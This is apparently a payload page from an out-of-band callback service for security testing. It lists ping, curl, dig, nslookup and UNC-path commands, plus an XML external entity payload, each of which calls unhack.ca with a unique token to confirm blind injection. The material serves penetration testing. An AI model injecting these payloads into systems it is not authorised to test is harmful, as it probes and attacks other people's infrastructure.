$ ping -c1 -p 00e531d2139138c57f5cfbb828c30e00 unhack.ca
 

$ curl http://unhack.ca/p/e531d2139138c57f5cfbb828c30e
 

$ dig e531d2139138c57f5cfbb828c30e @unhack.ca
 

$ dig e531d2139138c57f5cfbb828c30e.ns.unhack.ca
 

C:\> nslookup e531d2139138c57f5cfbb828c30e unhack.ca
 

C:\> type \\unhack.ca\e531d2139138c57f5cfbb828c30e\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e531d2139138c57f5cfbb828c30e">]>
    <foo>&xxe;</foo>